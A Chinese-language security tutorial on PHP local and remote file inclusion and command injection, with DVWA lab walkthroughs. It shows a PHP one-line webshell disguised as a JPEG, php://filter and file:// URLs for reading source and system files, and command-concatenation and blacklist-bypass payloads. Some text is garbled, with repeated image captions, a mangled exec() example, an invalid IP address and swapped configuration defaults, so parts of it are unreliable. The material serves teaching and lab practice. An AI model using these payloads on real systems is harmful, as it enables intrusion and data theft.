天天看點

檔案包含與指令執行漏洞詳解

代碼注入

遠端檔案包含漏洞

檔案包含

了解什麼是本地檔案包含漏洞

了解本地檔案包含漏洞所要用到的函數

掌握本地檔案包含漏洞的利用方式

了解 PHP 語言中的封裝協定

掌握本地檔案包含漏洞的修複方法

什麼是檔案包含

再通過 PHP 的相應函數 [例如 include()] 引入檔案時,由于傳入的檔案名沒有經過合理的校驗,進而操作了預想之外的檔案,就可能導緻意外的檔案洩露,甚至惡意的代碼注入。

檔案包含漏洞的形成,需要滿足兩個條件:

使用者能夠控制檔案的内容,(向伺服器上傳一個新的檔案、借用伺服器已經存在的檔案)

include() 等函數通過動态變量的方式引入需要包含的檔案

常用檔案包含函數

include():當使用該函數包含檔案時,隻有代碼執行到 include() 函數時才将檔案包含進來,發生錯誤時隻給出一個警告,繼續向下執行。

include_once():功能和 include() 相同,差別在于當重複調用同一檔案時,程式隻調用一次。

require():require() 與 include() 的差別在于 require() 執行如果發生錯誤,函數會輸出錯誤資訊,并終止腳本的運作。使用 require() 函數包含檔案時,隻要程式一執行,立即調用檔案,而 include() 隻有程式執行到該函數時才調用。

require_once:他的功能與 require() 相同,差別在于當重複調用同一檔案時,程式隻調用一次。

highlight_file():highlight_file(filename,return)----filename:必需要進行高齡處理的 PHP 檔案的路徑。return:可選。如果設定為 true,則本函數傳回高亮處理的代碼。

show_source:該函數是 highlight_file() 的别名。

file_get_contents():該函數把整個檔案讀入一個字元串中,和 file() 一樣,不同的是 file_get_contents() 把檔案讀入一個字元串。

文法:

file_get_contents(path,include_path.context,start,max_length)

檔案包含與指令執行漏洞詳解

file():file() 把整個檔案讀入一個數組中,與 file_get_contents() 類似,但是 file() 将檔案作為一個數組傳回,數組中每個單元都是檔案中相應的一行,包括換行符在内,如果失敗則傳回 false。

文法:

file(path,include_path,context)

檔案包含與指令執行漏洞詳解

fopen():打開一個檔案或者 URL。

文法:

fopen(filename,mode,include_path,context)

檔案包含與指令執行漏洞詳解

readfile():輸出一個檔案,該函數讀入一個檔案,成功則傳回從檔案中讀入的位元組數。若失敗,則傳回 false。

文法:

readfile(filename,include_path,context)

倆個關鍵選項

allow_url_iinclude 是否允許引用 URL 檔案,激活 URL 形式的 fopen 封裝協定使得可以通路 URL 對象檔案等。預設開啟

allow_url_fopen 是否允許打開 URL 檔案,該選項為 on 則允許包含 URL 對象檔案等。預設關閉

這兩個選項是 Web 伺服器 PHP 的配置選項。了解一下就 ok

本地檔案包含 (LFI)

能夠讀取或執行包含本地檔案的漏洞,稱為本地檔案包含漏洞。

重要特點:把任何包含進來的檔案都當作 PHP 檔案來執行

檔案包含與指令執行漏洞詳解

http://172.26.26.259/fileupload/file.php?filename=1.jpg

*都知道 1.jpg是圖檔,但是當有檔案包含漏洞時,這個圖檔會被當做 php 檔案處理,當然前提是它裡面有 php 的代碼,這樣我們就可以先寫一個 php 代碼的牧馬,然後僞裝成圖檔上傳,進而達到控制對方的目的。

[1] 句柄最早被翻譯成把手,這個翻譯比較傳神,簡單來說就是像門把手一樣,你隻用握住門把手來開門,而不用可以知道門是什麼形狀的。

[2] “r”(隻讀方式打開,将檔案指針指向檔案頭),“r+”(讀寫方式打開,将檔案指針指向檔案頭),“w”(寫入方式打開,清除檔案内容,如果檔案不存在則嘗試建立之),“w+”(讀寫方式打開,清除檔案内容,如果檔案不存在則嘗試建立之),“a”(寫入方式打開,将檔案指針指向檔案末尾進行寫入,如果檔案不存在則嘗試建立之),“a+”(讀寫方式打開,通過将檔案指針指向檔案末尾進行寫入來儲存檔案内容),“x”(建立一個新的檔案并以寫入方式打開,如果檔案已存在則傳回 FALSE 和一個錯誤),“x+”(建立一個新的檔案并以讀寫方式打開,如果檔案已存在則傳回 FALSE 和一個錯誤)

遠端檔案包含

了解什麼是遠端檔案包含漏洞

了解遠端檔案包含漏洞所用到的函數

掌握遠端檔案包含漏洞的利用方式

掌握遠端檔案包含漏洞代碼審計方法

掌握修複遠端檔案包含漏洞的方法

遠端檔案包含 (RFI)

如果 php.ini 的配置選項 allow_url_include 和 allow_url_fopen 都為 ON 的話,檔案包含函數是可以加載遠端檔案的,這種漏洞被稱為遠端檔案包含漏洞。利用遠端檔案包含漏洞,可以直接執行 任意指令。

http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt

檔案包含與指令執行漏洞詳解

1.txt 是文本檔案并且他是另一個網站上面的文檔,但是當目标伺服器的這兩個配置選項都開啟的時候,他就會把其中的檔案當作 php 檔案來運作。

檔案包含漏洞的危害:

敏感資訊洩露

擷取 Webshell

任意指令執行

檔案包含靶機實驗

我們使用 DVWA 的實驗環境,首先登陸,賬号 admin,密碼 password。

檔案包含與指令執行漏洞詳解

進入後,我們将安全級别設定為 low,點選 submit 送出。

檔案包含與指令執行漏洞詳解

再點選 File Inclusion 進入我們的檔案包含漏洞環境。

檔案包含與指令執行漏洞詳解

我們的檔案包含漏洞的原理是上傳的檔案會被當做 PHP 檔案執行。那麼我們寫一個一句話牧馬執行指令 whoami。

檔案包含與指令執行漏洞詳解

并儲存為 1.jpeg 檔案

檔案包含與指令執行漏洞詳解

當然如果我們打開桌面的這個 jpeg 圖檔檔案,會什麼也沒有,這不是一個正常的圖檔檔案,隻是一個僞裝成 jpeg 檔案的 php 代碼。

檔案包含與指令執行漏洞詳解
檔案包含與指令執行漏洞詳解

會提示我們檔案上傳成功!并且告訴了我們檔案上傳的路徑,…/…/hackable/uploads/1.jpeg

檔案包含與指令執行漏洞詳解

我們将其輸入到 URL 位址欄中

檔案包含與指令執行漏洞詳解

顯示下面這個頁面

檔案包含與指令執行漏洞詳解

因為我們的 jpeg 圖檔代碼,并沒有正常的圖檔,隻是一段代碼。接着我們點選剛剛的檔案上傳漏洞。

檔案包含與指令執行漏洞詳解

我們要在 url 位址中把我們剛剛上傳的檔案位址包含進去

檔案包含與指令執行漏洞詳解

回車,我們會發現在頁面上部會出現一個資訊 apache

檔案包含與指令執行漏洞詳解

這就是剛剛我們剛剛在一句話馬中指令執行的結果。至此我們已經完成了檔案包含漏洞的簡單利用。

PHP 僞協定

PHP 帶有很多内置 URL 風格的封裝協定,可用于類似 fopen(),copy(),file_exists() 和 filesize() 的檔案系統函數。除了這些封裝協定,還能通過 stream_wrapper_register() 來注冊自定義的封裝協定。

檔案包含與指令執行漏洞詳解

file 協定

當存在某個使用者可控制,并得以通路執行的輸入點時,我們可以嘗試輸入 file://去擷取本地磁盤檔案

使用條件:

allow_url_fopen on/off

allow_url_include on/off

使用方法:

http://172.168.1.1/fileupload/file.php?filename=file://C:/windows/system.ini

實驗:

我們可以在剛剛的靶機上面進行試驗,在 File Inclusion 中,在 URL 欄裡直接輸入 file:// 來檢視密碼

檔案包含與指令執行漏洞詳解

當然我們也可以不輸入 file:// 直接在 page= 内容後面檔案包含一下。也是可以的。

檔案包含與指令執行漏洞詳解

php://filter(重要)

這個僞協定是比較重要的僞協定

對本地磁盤檔案進行讀寫

使用條件:

allow_url_fopen on/off

allow_url_include on/off

使用讀取腳本檔案:

http://172.16.12.2/fileupload/file.php?filename=php://filter/read/convert.base64-encode/resource=file.php

(或者其他讀取檔案中含有 php 代碼的時候,就要使用 base64 編碼轉換)

與 file 協定的差別在于

file 協定隻能使用絕對路徑,filter 協定相對路徑和絕對路徑都可以使用

剩下的在 PTE 考試中出現的較少我們用一張表格來概括。

檔案包含與指令執行漏洞詳解

指令執行 (重要但簡單)

了解什麼是指令執行漏洞

了解指令執行漏洞對系統安全産生的危害

掌握腳本語言中可以執行系統指令的函數

了解第三方元件存在的代碼指定漏洞,如 struts2

掌握指令注入漏洞的修複方法

日常的網絡通路中,我們常常可以看到某些 Web 站具有執行系統指令的功能,例如:有些網站提供 ping 功能。

但如果使用者沒有遵循網站的本意,而是輸入精心構造的指令,可能會對網站本身的功能邏輯産生逆轉,導緻讓目标網站執行惡意指令。

指令執行常用函數

反撇号’’

輸出并傳回 shell 結果。

用法:

echo’whoami’

System()

system() 輸出并傳回最後一行 shell 結果

用法:

system(‘whoami’)

passthru()

隻調用指令,把指令的運作結果原樣地直接輸出到标準輸出裝置上。相同點:都可以獲得指令執行的狀态碼

用法:

passthru(‘whoami’)

eval()

執行 php 代碼

用法:

eval(system(‘whoami’)😉

exec()

不輸出結果,傳回最後一行 shell 結果,所有結果可以儲存到一個傳回的數組裡面。

用法:

exec( P O S T [ ′ s y s t e m ′ ] , _POST['system'], P​OST[′system′],output);

print_r($output);

指令拼接符号

檔案包含與指令執行漏洞詳解

黑名單繞過常見方法

a= who;b=ami; a a ab

[email protected]

wh$*oami

wh$1oami

/u?r/bin/who?mi

w’\test’hoami

檔案包含與指令執行漏洞詳解

指令執行實驗靶機

還是之前的 DVWA 的環境

我們選擇 Command Injection (指令執行)

檔案包含與指令執行漏洞詳解

可以看到這是一個 ping 指令,那麼我們應該怎麼選擇執行指令呢,我們可以根據上面的指令拼接符号,拼接進一個檢視網卡資訊的指令 ifconfig

檔案包含與指令執行漏洞詳解

下面我們點一下 submit 送出一下,成功啦!

檔案包含與指令執行漏洞詳解

上方是 ping 指令執行的結果,下方是 ifconfig 的網卡資訊。